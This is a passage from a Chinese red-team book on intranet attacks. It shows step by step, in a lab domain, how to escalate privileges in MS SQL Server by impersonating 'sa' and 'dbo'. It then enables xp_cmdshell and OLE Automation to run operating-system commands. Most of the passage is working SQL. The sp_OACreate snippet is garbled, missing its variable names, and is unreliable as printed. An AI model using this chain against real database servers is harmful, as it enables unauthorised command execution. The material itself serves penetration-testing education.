本文选自《内网安全攻防:红队之路》
扫描二维码五折购书
利用MSSQL模拟提权
在MS SQL数据库,可以使用EXECUTE AS语句,以其他用户的上下文执行SQL查询。需要注意的是只有明确授予模拟(Impersonate)权限的用户才能执行这个语句。这个权限对于多数用户不是默认配置,但是数据库管理员可能因为误配置导致权限提升。
这里为了演示利用MSSQL模拟提权的概念,我们在运行在dev-DC01的SQL数据库引入了一个误配置的模拟权限。有两种方式可以使用模拟。第一种方式是使用EXECUTE AS LOGIN语句在登录级别模拟不同的用户。第二种方式是在用户级别用EXECUTE AS USER语句来完成。
首先我们演示在登录级别的模拟。由于我们是低权限用户,我们无法枚举当前用户可以模拟哪个用户,但是可以枚举哪个用户可以被模拟。可通过如下查询获得哪个用户可以被模拟的信息:
set instance dev-dc01.dev.ms08067.cn
USE master;
go
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
go
枚举可被模拟的用户
从ESC工具的输出可以看到sa用户可被模拟,虽然无法判断哪个用户允许模拟成sa。在测试过程,可以使用我们有权限的用户直接尝试。我们首先使用EXECUTE AS LOGIN进行测试:
set instance dev-dc01.dev.ms08067.cn
SELECT SYSTEM_USER;
go
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
go
EXECUTE AS LOGIN模拟测试
从输出可以看到我们当前用户dev\dave可以模拟成sa,也就意味着当前用户有数据库管理员权限。
我们也可以模拟一个数据库用户,但是要进行权限提升,需要满足两个条件。首先模拟的其他用户需要有必要的权限,比如sysadmin角色。此外,因为数据库用户只能在特定数据库执行操作,要实现入侵数据库服务器,我们要模拟的用户需要在对应数据库设置了TRUSTWORTHY属性。仅原生的数据库msdb启用了这个属性。
要演示这个权限提升技术,guest用户必须在msdb授予模拟dbo的权限。
要执行模拟测试,首先切换到msdb数据,然后执行"EXECUTE AS USER"语句。通过USER_NAME()可以看到当前用户的上下文:
use msdb;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME();
go
EXECUTE AS USER模拟
从输出可以看到,当前用户也有权限模拟成dbo用户,也就是获得了sysadmin权限。
在我们获得了sysadmin权限后,可以尝试在数据库服务器执行命令。比较常用的方法是使用xp_cmdshell存储过程。但是因为xp_cmdshell比较常用,所以可能被禁用或者监控,此时,我们也可以尝试使用其他的存储过程,比如sp_OACreate。
我们先尝试使用xp_cmdshell执行命令。从SQL 2005开始,xp_cmdshell默认被禁用。如果有sysadmin角色权限的话,可以使用advanced options和sp_configure存储过程启用。我们先模拟sa,然后使用sp_configure激活advanced options并启用xp_cmdshell:
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell whoami
go
启用xp_cmdshell
从输出可以看到成功在数据库服务器启用xp_cmdshell并执行了命令。后续如果想要执行其他命令,需要先执行EXECUTE AS LOGIN = 'sa':
xp_cmdshell执行命令
如果要禁用xp_cmdshell,可用如下命令:
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
如果xp_cmdshell不可用,我们也可以使用sp_OACreate和sp_OAMethod存储过程,来创建和执行一个基于Object Linking and Embedding(OLE)的新存储过程。需要注意的是这个方法的命令执行结果不会回显。
在执行OLE-based存储过程前,我们需要确保"OLE Automation Procedures"设置启用,默认是禁用的,我们可以使用sp_configure修改这个设置。
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE INT;
EXEC sp_oacreate 'wscript.shell', OUTPUT;
EXEC sp_oamethod 'run', null, 'cmd /c ipconfig > c:\Tools\ip.txt'; ,
go
sp_OACreate命令执行
命令执行完后,我们在服务器查看,可以看到在数据库服务器成功执行ipconfig:
sp_OACreate命令执行结果
— 实验室旗下直播培训课程 —